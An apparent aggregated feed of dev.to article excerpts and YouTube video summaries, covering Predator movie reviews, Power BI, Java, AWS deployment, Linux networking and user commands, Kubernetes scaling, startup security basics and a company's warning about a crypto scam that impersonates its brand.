    Predators swoops back to the franchise’s jungle-hunting basics with a rag-tag crew of lunatics, sweaty face-offs in the mud and a few clever twists that actually elevate it above the late-’90s sequel slump. Mr Sunday Movies calls it his personal favorite and can’t believe Hollywood never blessed us with a true follow-up. For more goofy takes and bonus content, swing by bigsandwich.co, follow James and Maso on Twitter, subscribe on YouTube, or catch The Weekly Planet on Apple Podcasts and Patreon—plus, grab some merch if you want to rep the chaos. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: A New High? - Predator: Badlands Review
    A New High? – Predator: Badlands Review Predator: Badlands flips the script by turning the iconic alien hunter from villain to hero, and it’s paying off big time: fans and critics are loving it, and it just smashed the franchise’s opening weekend box office record. This spoiler-packed take comes courtesy of The Weekly Planet podcast, where James and Maso break down all the highs (and a few surprises) in this Predator/Alien crossover. Catch the full review every Monday on The Weekly Planet’s YouTube channel, Spotify, Apple Podcasts, plus bonus content on BigSandwich.co. Follow James (mrsundaymovies) and Maso (wikipediabrown) on Twitter, and don’t forget to subscribe for more deep dives, merch, and early drops! Watch on YouTube  ( 6 min )
    The Robot That Learned to See
    Picture a robot that has never been told how its own body works, yet watches itself move and gradually learns to understand its physical form through vision alone. No embedded sensors, no pre-programmed models, no expensive hardware—just a single camera and the computational power to make sense of what it sees. This isn't science fiction; it's the reality emerging from MIT's Computer Science and Artificial Intelligence Laboratory, where researchers have developed a system that could fundamentally change how we think about robotic control. The traditional approach to robotic control reads like an engineering manual written in advance of the machine it describes. Engineers meticulously map every joint, calculate precise kinematics, and embed sensors throughout the robot's body to track posit…  ( 23 min )
    The Power BI and REST APIs: A Fun Guide on how to Turn Web Data into Beautiful dashboards.
    Ever wonder how live Power BI dashboards display real-time data like weather, stock prices, or social media trends? The solution is not complex: REST APIs - blankets that aren't seen but provide a way to establish a connection between Power BI and an infinite realm of data that can be found online. This guide is intended for new APIs and Power BI users. You will know what are the REST APIs, how Power BI is connected to them, how to authenticate, what problems may occur in general, and how to build a real-time weather dashboard showing the current temperature in Nairobi, Mombasa, Kampala, and Kigali. At the conclusion, you will have developed the API novice into a data explorer. What Is a REST API? Imagine a restaurant. You are the customer, the kitchen is the data server and the waiter is …  ( 11 min )
    Methods in Java
    What is method: A method is a block of code that performs a specific task and declared within the class. Methods are fundamental to object-oriented programming in Java, as they encapsulate the behavior of objects. className object = new className; here, className refers to data type. Method is some kind of action. Void return type is used. This will not return any value. Ex: class Shop{ String prod_name; int price; public static void main(String[] args){ Shop prod1 = new Shop(); Shop prod2 = new Shop(); prod1.prod_name = "soap"; prod1.price = 50; prod2.prod_name = "milk"; prod2.price = 150; prod2.buy(); prod1.buy(); } public void buy(){ System.out.println("buy method"); System.out.println(prod_name + " => " +price);} } Output: buy method milk => 150 buy method soap => 50  ( 6 min )
    Unlocking Business Insights with AWS QuickSight
    In today’s data-driven world, every organization wants to transform raw data into meaningful insights that drive smarter decisions. Yet, traditional business intelligence (BI) tools often come with steep licensing costs, complex infrastructure requirements, and scalability challenges. What Is AWS QuickSight? AWS QuickSight is a scalable, pay-per-session analytics service that allows businesses to visualize data, perform ad-hoc analysis, and share interactive dashboards securely. Unlike traditional BI tools that require manual setup and management, QuickSight integrates seamlessly with your existing AWS ecosystem — including S3, RDS, Redshift, Athena, and even third-party data sources like Salesforce or Excel files. QuickSight eliminates the need for maintaining servers or infrastructure. Y…  ( 7 min )
    Code Smell 314 - Model Collapse
    When AI assistants repeatedly modify code without human oversight, code quality erodes through accumulated micro-decisions TL;DR: You let repeated AI edits slowly distort your code’s meaning Unclear intent Naming drift Readability Lost domain terms Duplicated logic Generic abstractions Model collapse Semantic decay Code entropy accumulation Lost domain knowledge Degraded naming clarity Architectural drift Code inbreeding Technical debt buildup Semantic meaning loss Preserve domain-specific language Review every AI change Write golden tests Introduce small objects Reject unclear edits in merge requests and code reviews Fight workslop code Refactorings ⚙️ Refactoring 013 - Remove Repeated Code Maxi Contieri ・ Jun 16 '24 #webdev #beginners #programmi…  ( 25 min )
    Deploying ML Models to Production: AWS Lambda vs ECS vs EKS - A Data-Driven Comparison
    A comprehensive, hands-on guide to choosing the right AWS platform for your ML inference workloads "Which AWS platform should I use to deploy my machine learning model?" As an AWS Community Builder working with ML teams, I hear this question constantly. The answer is always the same: "It depends." But on what, exactly? Cost? Performance? Team expertise? Scale? Instead of giving theoretical advice, I decided to build something concrete: a production-ready sentiment analysis model deployed across all three major AWS container orchestration platforms Lambda, ECS Fargate, and EKS then benchmark them rigorously with real load tests and actual cost calculations. The results surprised me. Lambda isn't always cheaper. EKS isn't always faster. And for most teams, the "obvious" choice might be wrong…  ( 21 min )
    Official Statement on Fraudulent “SEEKSEM Token” Crypto Scam
    _The following is reproduced content. https://seeksem.com/3589.html_ SEEKSEM 关于严厉打击冒用“SEEKSEM”品牌进行金融诈骗的严正声明 To All Our Users, Partners, and the General Public: It has recently come to our attention that malicious actors are impersonating our brand on online platforms such as Google and X (formerly Twitter). These parties are falsely promoting a fraudulent cryptocurrency named “SEEKSEM Token” or “$SEEKSEM,” engaging in financial and crypto scams by misrepresenting these as official offerings from our company. These actions constitute a serious infringement upon our brand’s reputation and intellectual property rights and pose a significant risk of financial fraud to the public. Therefore, we issue this official statement to clarify the facts and protect our rights. 1.Official Brand Clarification: 2.Fact Exposure and Risk Warning: We urge the public to exercise extreme caution. Do not trust any investment projects or cryptocurrencies recommended under the SEEKSEM name. Do not click on any suspicious links, and do not transfer funds to any cryptocurrency address claiming to be associated with SEEKSEM. Our company assumes no responsibility for any financial losses incurred as a result of these fraudulent activities. 3.Legal Actions and Protective Measures: Evidence Preservation: We have completed a comprehensive collection of evidence regarding the relevant scam pages and social media posts. 4.Official Information Channels: Official Website: www.seeksem.com https://x.com/seeksem info@seeksem.com Finally, we call on our users and the public to contact us immediately through our official channels if you encounter any suspicious activities misusing the SEEKSEM brand. We appreciate your continued trust and support. Let us work together to safeguard the integrity of the digital ecosystem and combat financial fraud. Sincerely, SEEKSEM (Official) November 11, 2025  ( 7 min )
    fastTinker: A Multi-Language Desktop Playground for Rapid Prototyping
    Have you ever found yourself switching between different tools just to test a quick JavaScript snippet, then a PHP script, and back to TypeScript? I've been there, and that frustration led me to build fastTinker — a unified desktop playground that lets you switch between multiple programming languages seamlessly, all in one beautiful Electron app. As developers, we often need to: Quickly test code snippets without setting up a full project Experiment with different languages in the same workflow Prototype ideas rapidly without the overhead of project scaffolding Learn new languages with immediate feedback Most existing tools are either language-specific or require a browser, which isn't ideal for testing backend code or using language-specific package managers. I wanted something that comb…  ( 9 min )
    n8n Self-Hosted vs n8n Cloud: Which One Should You Choose in 2025?
    If you want full control, security, and custom integrations, go with n8n Self-Hosted. What Is n8n and Why This Choice Matters n8n is one of the most powerful open-source workflow automation tools. Think of it as your self-hostable alternative to Zapier or Make. But here’s the catch: n8n offers two very different paths n8n Self-Hosted: You host it yourself, on your own server or infrastructure. n8n Cloud: n8n hosts everything for you, with managed security, scaling, and updates. This decision shapes how your automation scales, how secure your data remains, and how flexible your workflows can become, especially as AI and LLM integrations become the core of enterprise automation. n8n Self-Hosted: Full Control, Maximum Customization Choose n8n Self-Hosted if you need data privacy, deep cus…  ( 8 min )
    Hello dev.to – Portfolio syncing & curious builds ahead
    Hi! I'm Vanessa (aka grauconejo13 🐇), a front-end-leaning full stack dev with a curious eye for patterns, playful UX, and story-rich UI. You’ll usually find me building in React, experimenting on CodePen, or tweaking design systems for fun. Right now I’m syncing my portfolio across platforms and refining a few themed micro-projects. 🔗 Portfolio: https://vanessainthefifthdimension.com/ 🎨 CodePen: codepen.io/grauconejo13 Looking forward to learning, sharing, and exploring with the community here! Feel free to say hi 👋  ( 6 min )
    The Skills That Actually Make You Senior (Hint: They're Not What You Think)
    I used to think becoming a senior developer meant mastering advanced algorithms, design patterns, and maybe picking up a third framework. Nope. The moment I realized this was during a project refinement. We were going to build this fantastic feature that the whole team was convinced would be awesome. My product owner asked one question: "But did it solve the customer's actual problem?" Uhm... Some developers believe the path to senior looks like this: Master advanced TypeScript Learn system design Contribute to open source Get really good at LeetCode And sure, technical skills do matter! But the gap between junior and senior developers is rarely just technical. I learned this the hard way. And recently, when I interviewed Nadia Makarevich (author of Advanced React), she said something that…  ( 9 min )
    Monitor Falcon with OpenTelemetry
    Falcon is a minimalist web framework for building RESTful APIs in Python. It is lightweight, fast, and designed to be easy to use. By integrating OpenTelemetry into your Falcon application, you can capture and export telemetry data such as traces, metrics, and logs. You can use that data for monitoring, troubleshooting, and analyzing the behavior and performance of your application. OpenTelemetry is an open-source observability framework that aims to standardize and simplify the collection, processing, and export of telemetry data from applications and systems. OpenTelemetry supports multiple programming languages and platforms, making it suitable for a wide range of applications and environments. OpenTelemetry enables developers to instrument their code and collect telemetry data, which c…  ( 7 min )
    How to Create a Responsive Portfolio Website with HTML and CSS Source Code
    In today's digital world, a professional portfolio website is essential for showcasing your skills, projects, and personality to potential clients or employers. The best part? You can create an impressive, responsive portfolio without starting from scratch. Let me show you how. Before we dive into the code, let's understand why responsiveness is crucial: Mobile Traffic Dominates: Over 50% of web traffic comes from mobile devices Better User Experience: Visitors can browse your work seamlessly on any device Improved SEO: Google prioritizes mobile-friendly websites Professional Appearance: Shows you care about modern web standards A successful portfolio typically includes: Hero Section: Your introduction and main call-to-action About Me: Your story and skills Projects Showcase: Your best wor…  ( 9 min )
    DevOps team structures
    As Jim Benson says in The Collaboration Equation, 'individuals in teams create value'. Individual skill combined with collaboration is where great things happen. Under-performing teams happen when you don't build in the need for people to work together to unlock their unique talents. Since DevOps became the industry buzzword, many examples of anti-patterns emerged. However, patterns and anti-patterns mean nothing when you put people into a room and ask them to solve a problem or deliver value. Rather than one true way of organizing teams, you need to pay attention to: Culture and context The skills of each individual What systemic issues might be stifling collaboration. You don't need to start from a blank page. Look at existing DevOps team structures that other organizations use in certai…  ( 12 min )
    Creating and Styling Tables in PDF Documents with C#
    In today's data-driven world, the ability to programmatically generate well-structured and visually appealing PDF documents is an indispensable skill for many C# developers. Whether it's for financial reports, invoices, data summaries, or academic papers, PDFs provide a static, universally viewable format for presenting information. Among the various elements that populate these documents, tables stand out as crucial for organizing and displaying complex datasets clearly and concisely. However, anyone who has delved into programmatic PDF generation knows that achieving precise layout control, especially for tables, can be a significant challenge. The fixed nature of PDF documents often makes dynamic content placement and styling a painstaking process. This tutorial aims to demystify this p…  ( 12 min )
    Day 26 of My AI & Data Mastery Journey: From Python to Generative AI
    Creating a code using turtle library. From our previous learning, we should add some twist. Before we used to write the code then we execute and now we must print using our keyboard keys. # hints use screen.keys() function As We press any key which you will set it must move forward with the help of function. Now add Multiple command to make different shape as we play with the turtle. ALL Arrow direction In keyboard. Up, down , left, right.  ( 6 min )
    Insertion Sort visualized with memory_graph
    Algorithms can at first seem complex to students, but with memory_graph every step is clearly visualized, giving students an intuitive understanding of what their code is doing and making bugs much easier to fix. Here's an example Insertion Sort algorithm:  ( 6 min )
    NIS 2 for Non-EU Vendors: 60-Day Remediation Playbook
    Why this matters now Even if you’re outside the EU, your EU customers are pushing NIS 2 obligations downstream via MSAs, DPAs, and security schedules. To keep deals moving (and renewals clean), you need a fast, evidence-driven plan that proves reasonable security, incident readiness, and continuous improvement—without boiling the ocean. This playbook gives Non-EU vendors a 60-day, engineering-first plan to reach a credible baseline, complete with code, KPIs, ISO 27001 alignment, and a customer-ready attestation packet. For quick gap scans to seed your backlog, you can use our Free Website Vulnerability Scanner and attach before/after evidence to tickets. Need help compressing timelines? Our team runs focused Risk Assessment Services and hands-on Remediation Services to accelerate this 6…  ( 10 min )
    NPR Music: Nova Twins: Tiny Desk Concert
    Nova Twins—Amy Love and Georgia South—dove headfirst into their Tiny Desk set with a mega-distorted bass line on “Cleopatra,” a no-nonsense clapback to haters, then roared into “Monsters,” a fierce shadow-self showdown. Between tracks they geeked out over their spaceship-sized pedalboards (complete with dedicated “pedal cam”) and slapped a Harp Blaster mic on “Hummingbird” for an otherworldly twist. Shattering the “nice girl” stereotype with their raw hip-hop-meets-rock fusion, they capped the performance with the all-out, riff-heavy thrill ride “Choose Your Fighter,” proving this London duo is here to dominate, not to dial it down. Watch on YouTube  ( 6 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    TL;DR Ever feel stuck in an endless prompt-refine loop? Jeff Su’s video spills four genius ChatGPT hacks that halved his AI workflow: reverse-prompt your best queries, turn one piece of content into tons of formats with the 5-Minute Amplifier, use the Red Team approach to make the AI critique itself, and Blueprint Scaffolding to force step-by-step reasoning before execution. It’s 100% role- and industry-agnostic, packed with real-world demos, timestamps, and bonus resources (free ebook, blog post deep dive, AI course waitlist). Perfect if you want to supercharge productivity without reinventing the wheel. Watch on YouTube  ( 6 min )
    Internal vs. External Appeal: Your Legal Right to Fight an ABA Therapy Denial
    Your child’s Applied Behaviour Analysis (ABA) therapy was denied? Don’t panic—a denial is often just a bump in the administrative road, not the end of the line. Learn the difference between an Internal Appeal and a powerful External Review to legally challenge the insurance company and secure the medically necessary hours your child deserves. Denied ABA Coverage? The Appeal is Your Legal Right The notice arrives in the mail, cold and bureaucratic: "ABA therapy is denied." For a parent, this moment can feel devastating, like the final door has slammed shut on securing essential care. It triggers a painful cycle of fear, anger, and confusion. However, it is absolutely critical to understand one thing right away: a denial is rarely a final 'no.' It is an administrative action—a request for mo…  ( 12 min )
    What Happens When JavaScript Is Off? Meet
    Have you ever wondered what happens if a user visits your website with JavaScript turned off? That’s where the tag comes in. It’s one of those underrated HTML tags that rarely gets talked about but plays an important role in providing fallback content when scripts don’t run. Let’s take a closer look at what it does, when you should use it, and some practical examples. Tag? The tag is an HTML element that defines alternative content for users whose browsers either: Don’t support JavaScript, or Have JavaScript disabled. In simple terms, it’s your backup plan. will be displayed instead. Here’s a small example noscript Example document.write("JavaScript is enabl…  ( 8 min )
    Ringer Movies: ‘Predator: Badlands’ and the 'Predator' Movie Rankings
    Sean Fennessey and Chris Ryan kick things off by unpacking Ryan Reynolds’ upcoming Amazon MGM remake of the ’70s crime movie Thunderbolt and Lightfoot, then dive headfirst into Dan Trachtenberg’s newest entry, Predator: Badlands. They make a solid case that Elle Fanning’s fearless lead performance is the film’s secret sauce, rave about Trachtenberg’s knack for pulse-pounding action, and marvel at the sequel’s impressive box-office haul and what it signals for the franchise. After breaking down Badlands, they rank every Predator movie from “can’t-believe-it’s-that-good” to “meh,” before wrapping up with a quick, fun detour into a Sydney Sweeney mini-discussion. Watch on YouTube  ( 6 min )
    Scaling Is All You Need: Understanding sqrt(dₖ) in Self-Attention
    Been trying to understand the scaling in the attention formula, specifically sqrt(d_k). It confused me a bit why do we need to divide at all? I was confused because we subtract each value with the max value inside softmax anyway (so exp doesn't explode our numbers), so why do we need to scale before this step as well? Turns out the difference lies between numerical stability and statistical calibration. When we divide by sqrt(d_k), we're reducing the magnitude of each value proportionally, which shrinks the differences between them for example, [100, 102, 103] becomes [10.0, 10.2, 10.3], where the 2-unit and 1-unit gaps become 0.2 and 0.1. This brings the values closer together before they reach softmax. In contrast, when we subtract (like subtracting the max in softmax), we shift where th…  ( 7 min )
    Chef who discovers recipes that don’t just feed the body, but awaken hidden talents in anyone who tastes them.
    Note: [implemented a loop agent, creating a sophisticated system that can iteratively review and improve its own output. This is a key pattern for ensuring high-quality results. Completed a toolkit of workflow patterns that puts it all together and review how to choose the right one for your use case.] Use Loop when: Iterative improvement is needed, quality refinement matters, or you need repeated cycles. To learn more, check out the documentation related to loop agents in ADK. InitialWriterAgent > Chef Antoine Dubois, known for his exquisite bouillabaisse, stumbled upon a forgotten cookbook in his grandmother’s attic. The pages, brittle with age, held recipes unlike any he'd seen, infused with strange herbs and whispered incantations. He decided to test the ‘Sunstone Soufflé’. The moment…  ( 8 min )
    Using Jest and LLM assistance to test your real-time chat
    In the previous article, we delved into creating a simple web server that serves static files, flat file database that uses lock and the API endpoints that allows for real-time chat interaction. In this article, we'll follow-up by taking a look into writing unit tests for our flat file database to ensure that our chat interaction flow works. We will look at how to setup the testing environment and how to write the tests using Large Language Model (LLM). The scope of the LLM parts of the article would mostly be covering upon using LLM in an agentic manner. It also briefly mentions alternative ways of achieving a similar result in non-agentic approach too. However, areas such as Model Context Protocol (MCP) is outside the scope of this article and would not be touched on. While going throug…  ( 30 min )
    Getting Started with Database Entity Relationship
    Getting started with database entity relationship: If you are a Developer you noticed that while developing an application you forgot to include a certain field in your database or you noticed the relationship between tables was not correctly made. Getting started with database entity-relationship is here to offer a solution. In this article, we are going to explore and get started with the database entity relationship model, what it is all about, and how to design and interpret Entity Relationship. This article is also going to learn how to create a basic ER model and why it is very important for a backend developer to learn it. A database is a collection of data organized for rapid search and retrieval. It is based on the Mathematical set theory and first-order predicate logic. In a re…  ( 9 min )
    Design System: Building the Foundations
    In the previous article, I talked about how our team moved from chaos to consistency. This time, let's go deeper - into the engineering side of our design system: how we chose the right tools, why we made some trade-offs, and how these decisions shaped the foundation for everything that came later. Before diving into the details, it's worth mentioning that the actual technology stack or tool isn't what truly matters - it's why you pick one over another. Below, I'll walk through each technology we used and the reasoning behind those choices. Sometimes, the logic was the result of long discussions; other times, it was simply obvious (and that's perfectly fine - not every decision has to be over-engineered 😄). To give a quick overview, here's our tech-stack snapshot: Area Tool / Approach …  ( 15 min )
    Mastering 3DS: Balancing Security, UX, and Authentication Rates
    By: Adeyinka Adegbenro 3-D Secure (3DS) is an authentication protocol that adds an extra layer of security for card payments. It helps verify that the legitimate owner of a card is the one making the purchase. It also often serves as a mechanism to fulfill Strong Customer Authentication (SCA), particularly in regions subject to regulations like the revised Payment Services Directive (PSD2), which mandates at least two forms of customer authentication. While 3DS facilitates two-factor authentication for online payments, it's designed to assess risk. This means not every payment requires an explicit challenge. Low-risk transactions can be completed through a frictionless flow without extra customer input. The protocol is meant to gauge if further security is needed for a specific transaction…  ( 17 min )
    Enhance Content Strategy: Analyzing Video Performance with ViewStats API
    In the highly competitive landscape of online content, YouTube has cemented its position as the premier platform for video. For creators, marketers, and businesses, simply uploading videos isn't enough; success is contingent upon a deep, data-driven understanding of what works. The ViewStats API serves as a vital tool in this endeavor, offering a simplified, comprehensive gateway to actionable YouTube analytics that moves content strategy beyond intuition and into the realm of informed decision-making. The ViewStats API is specifically designed to abstract the complexity of gathering and analyzing vast amounts of YouTube performance data. By providing simple, RESTful API endpoints, it allows for seamless integration into custom dashboards, marketing automation platforms, and analytical to…  ( 9 min )
    How to configure Raspberry Pi networkmanager with multiple static ip and dynamic ip?
    Here’s the clean, repeatable way to do DHCP + multiple static IPv4s on the same Pi interface using NetworkManager (nmcli). Works on Raspberry Pi OS Bookworm (Pi 5). 1) Find your active connection name nmcli con show --active nmcli dev status Note the connection name (e.g., “Wired connection 1”) and the device (e.g., eth0). Raspberry Pi OS Bookworm uses NetworkManager by default. 2) Enable DHCP and add extra static addresses Use one profile with DHCP enabled and add “additional static addresses” to it (don’t set an extra gateway for the statics): CON="Wired connection 1" # change to your connection name # Keep DHCP on: sudo nmcli con mod "$CON" ipv4.method auto # Add one or more static IPv4s (prefix after slash), no gateway: sudo nmcli con mod "$CON" +ipv4.addresses "192.168.50.10/24…  ( 7 min )
    Collaboration Circles for Developers (2026)
    Many developers today feel the pressure of AI, the overabundance of tutorials and isolation. Creating a small space, of maximum five people, where you can progress, share your fears, your technical doubts or simply "vent", can make the difference. Here is what to look for in that space. An effective circle is not simply another channel on Discord or Twitter, but an environment with these characteristics: Person-to-person (peer-to-peer), without a mandatory mediator-teacher. Small group, so that every voice counts. Technical space + emotional space. Chat tools, audio and simple commitment tracking Relative privacy. Exercism is a code practice + mentoring platform in 74 languages. Why it can work: although it is not exclusively focused on groups of five, its mentoring and peer review model a…  ( 7 min )
    🚀 Introducing Gem Price Estimator (Open Source & Free!)
    Hey Dev Community! 👋 Menula De Silva, a young developer from Sri Lanka 🇱🇰 and I’m excited to share my latest open-source project: 👉 Gem Price Estimator https://gemprice.vercel.app/ https://github.com/DMS-Menula/Gem-Price-Estimator 🎥 Watch the trailer: https://www.youtube.com/watch?v=JrD4zy75JMY A smart, responsive, and user-friendly tool that instantly estimates prices for precious gems based on: ✅ Gem Type Sri Lanka is world-famous for gems and this tool helps bring that industry into modern tech. Gem pricing online is inconsistent, outdated, and often inaccurate. free & open-source alternative that is: Clean Fast Transparent Easy for anyone to use My goal is to make this Sri Lanka’s #1 gem pricing tool. ✅ Modern UI I’m welcoming developers from Sri Lanka and around the world to help improve this project. Looking for contributors in: Frontend UI Pricing logic API suggestions Math/valuation formulas UX design Documentation Bug fixes ✅ Every contribution counts Core Contributor 1️⃣ Visit the GitHub repo https://github.com/DMS-Menula/Gem-Price-Estimator 2️⃣ Open issues / suggest ideas If you support this project: ✅ Star the GitHub repo Share it with Sri Lankan & Global devs Contribute if you can  ( 8 min )
    Seamless Hyperledger Fabric Network Management Using Docker Commands
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    CommerceIQ AI -Smarter Insights, Smarter Sales
    In today’s digital marketplace, ai for ecommerce businesses is transforming how brands operate, analyze data, and connect with customers. CommerceIQ AI is an intelligent platform that empowers online retailers with real-time insights, automation, and smarter sales strategies. It enables companies to understand market behavior, optimize pricing, streamline operations, and deliver personalized customer experiences. By combining artificial intelligence with deep analytics, CommerceIQ AI helps eCommerce businesses make informed decisions that drive growth, profitability, and customer loyalty in a competitive online environment. CommerceIQ AI is a cutting edge platform designed to help eCommerce businesses automate decision-making and enhance performance through data intelligence. It gathers in…  ( 9 min )
    Security for Bootstrapped Startups: The $0 Budget Checklist (2025)
    You're a technical founder. You've got $50K runway, two engineers, and 500 beta users. A security consultant just quoted you $15,000 for a "comprehensive security assessment." You laughed. Then you panicked. Because you know security matters. You've read the breach headlines. You understand the risks. But you're bootstrapped - every dollar needs to generate revenue, not check compliance boxes. Here's the truth: You can build real security without consultant budgets. I know because I've done it for SMBs for years, and I'm doing it for my own startup right now. Security isn't binary - you're not either "secure" or "insecure." It's a spectrum. Your goal isn't to be Fort Knox. Your goal is simple: Be harder to hack than your competitors. Attackers follow economics. They're not targeting you sp…  ( 14 min )
    The Complete Beginner's Guide to vpcctl: Building Virtual Networks on Linux
    A hands-on, beginner-friendly guide to understanding Virtual Private Clouds and building isolated networks on a single Linux machine Introduction: What Problem Are We Solving? Real-World Scenario: The Coffee Shop Network What is a VPC? What is a Subnet? What is NAT? What is Peering? How vpcctl Works Under the Hood Prerequisites and Installation Step 1: Create the VPC Step 2: Add a Public Subnet Step 3: Add a Private Subnet Step 4: Deploy Test Applications Step 5: Test Intra-VPC Connectivity Step 6: Enable Internet Access (NAT) Step 7: Test Internet Access Step 8: Apply Security Policies Step 9: List Your VPCs Step 10: Inspect VPC Details Step 11: Cleanup create add-subnet deploy-app stop-app enable-nat peer apply-policy list inspect delete Advanced Scenarios Troubleshooting Common Issues C…  ( 30 min )
    Managing User on Linux (Cheat Sheet)
    No Perintah Deskripsi Contoh 1 useradd namauser Membuat user baru tanpa home directory sudo useradd fega 2 useradd -m namauser Membuat user baru dengan home dir otomatis di /home/namauser sudo useradd -m fega 3 useradd -m -s /bin/bash namauser Membuat user baru dengan shell Bash sudo useradd -m -s /bin/bash fega 4 useradd -m -c "Nama Lengkap" Tambahkan komentar/nama lengkap user sudo useradd -m -c "Fega Suseno" fega 5 useradd -m -d /mnt/LOCAL/namauser namauser Menentukan lokasi home directory custom sudo useradd -m -d /mnt/LOCAL/fega fega 6 passwd namauser Mengatur atau mengganti password user sudo passwd fega 7 id namauser Melihat UID, GID, dan grup yang dimiliki user id fega 8 usermod -l baru lama Mengganti nama user sudo usermod -l fega2 fega 9 usermod -m -d /home…  ( 7 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    4 ChatGPT Hacks that Cut My Workload in Half This guide dives into four game-changing techniques—Prompt Reversal, the 5-Minute Amplifier, the Red Team critique method, and Blueprint Scaffolding—that help you reverse-engineer killer prompts, spin one idea into multiple formats, get AI to self-critique, and force transparent reasoning before execution. Each hack comes with real-world examples so you can knock hours off your ChatGPT workflow no matter your industry. Plus, you get a free ebook, blog post deep dive, and links to courses like the AI Systems Academy and Workspace Academy. There’s even a Notion Command Center blueprint and newsletter sign-up to keep your productivity on fire. #productivity Watch on YouTube  ( 6 min )
    Hands-On with Kubernetes 1.33: My PoC on In-Place Vertical Scaling
    Introduction Kubernetes 1.33 introduced a game-changing feature: in-place vertical pod scaling, now in beta and enabled by default. As a cloud engineer, I was eager to test its ability to dynamically adjust CPU and memory for running pods without restarts a potential win for resource optimization. Inspired by its promise, I set up a Proof of Concept (PoC) on AWS EC2 using Minikube to explore its practical applications. In this guide, I’ll walk you through my step-by-step process, from cluster setup to scaling automation, and share insights for leveraging this feature in your own test environments. Let’s dive in! Kubernetes 1.33 brings in-place vertical pod scaling as a default feature that lets you adjust a pod’s CPU and memory resources on the fly. Unlike traditional scaling, this app…  ( 15 min )
    A User Broke My AI Chatbot With Unexpected Input — Here’s What Actually Happened
    I always assumed the hardest part of building an AI app would be something complicated — like token limits, streaming, or latency. Nope. The hardest part is real humans typing things into your chatbot, like what I just experienced : AI chatbot unexpected input. This is the story of how one user destroyed my tiny Node.js “ChatGPT clone” with a single input — and how that crash taught me more about building AI apps than any tutorial ever did. The Setup: My One-File Node.js Chatbot This project started as a silly weekend challenge. I wanted to see how far I could go building a ChatGPT-style app inside a single Node.js file. Part of the motivation came from something I wrote earlier about how changing just one line unexpectedly stopped my AI bot from hallucinating — a surprisingly simpl…  ( 9 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Rewatch Rundown Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s neon-lit thriller Snake Eyes, unpacking Nic Cage’s show-stealing turn alongside Gary Sinise and Carla Gugino. They banter about the seedy underbelly, wild set pieces, and why this 90s classic still holds up (or doesn’t). This episode—produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo—is brought to you by PayPal (snag 5% cash back when you Pay in 4 through 12/31). Don’t forget to subscribe to The Ringer channels for more movie deep dives! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less CinemaSins unleashes its signature sin tally on Marvel’s newest team-up flick, poking fun at every plot hole, quip and questionable choice—yet still wonders if the movie’s secretly a blast. Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel round up all the nitpicks in under 20 minutes, complete with their trademark snark. Hungry for more CinemaSins content? Hit up their website and social channels (YouTube, Instagram, TikTok, Discord, Reddit), fill out the sinful poll, or support the crew on Patreon. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Caravan of Garbage Review: Predators Mr Sunday Movies revisits the 2010 film Predators, praising its return to the franchise’s roots—complete with a ragtag team of misfits, a muddy jungle showdown, and fresh twists that outshine the earlier Alien vs. Predator entries. The hosts lament that, despite its strengths, we never got a proper follow-up to this fan-favorite sequel. They also plug their extra content—think extended audio editions, bonus podcasts, movie commentaries, and game streams on Big Sandwich—along with links to their Twitter feeds, Patreon, merch store, and The Weekly Planet podcast. Watch on YouTube  ( 6 min )
    🌍 Building a Live Weather Dashboard for East Africa Using Power BI and OpenWeatherMap API
    💡 Introduction Have you ever wished you could monitor real-time weather conditions across multiple cities — all in one dashboard? This project started with a simple question: “Can I connect Power BI directly to a live API and visualize up-to-date weather data?” The answer turned out to be yes. Using the OpenWeatherMap API, I built an interactive Power BI dashboard that tracks live temperature, humidity, and pressure for four East African cities — Nairobi, Mombasa, Kampala, and Kigali. This article walks you through the journey, design decisions, and insights. Weather data in East Africa is often scattered across various platforms — news sites, mobile apps, and government portals. Comparing weather conditions between cities can be time-consuming and inconsistent. As a data analyst, I …  ( 8 min )
    On Non-interactive Evaluation of Animal Communication Translators
    Can a Whale‑to‑English Translator Be Tested Without Talking to Whales? Imagine a device that could turn a whale’s song into plain English. Scientists have found a clever way to check if such a translator works—without ever needing to approach the giant mammals. reference‑free test catches “hallucinations,” those smooth‑sounding but wrong translations that can fool even experts. Understanding animal chatter may soon be as easy as reading a caption, opening a new chapter in how we share the planet with its wild voices. Read article comprehensive review in Paperium.net: On Non-interactive Evaluation of Animal Communication Translators 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 25 min )
    Automating Serverless: A Guide to CI/CD for AWS Lambda with GitHub Actions
    Deploying serverless applications to the cloud has never been easier with AWS. You just upload your files as a zip to Lambda, turn on the function URL or integrate with an API Gateway, and voila! you are able to deploy your serverless app. But, this manual process has risks. You still have to manually check if the code is right. It might be that what you deploy is faulty, which causes your application to break. Since most developers upload their code to GitHub, what if there was a way to automate all of this checking and deployment with a single push to your repository? This is where GitHub Actions comes in. GitHub Actions is a continuous integration and continuous delivery (CI/CD) platform built directly into GitHub. It allows you to automate your software development workflows right fro…  ( 12 min )
    Networking Basics Guide for DevOps Engineers
    In today’s DevOps world, understanding Networking Basics is just as important as knowing how to write code or build automation pipelines. Whether you’re deploying microservices, managing containers, or setting up CI/CD workflows, strong networking knowledge ensures everything connects smoothly, efficiently, and securely. This detailed guide will help you understand the core networking concepts every DevOps engineer should master, from IP addressing and DNS to firewalls, load balancing, and Kubernetes networking, all explained in simple, beginner-friendly language. In the simplest terms, networking is how computers, applications, and systems communicate with each other, whether they’re on the same network or across the internet. In DevOps, networking connects: Servers and databases CI/CD to…  ( 8 min )
    Subscribers in PKI: Who Actually Uses the Certificates
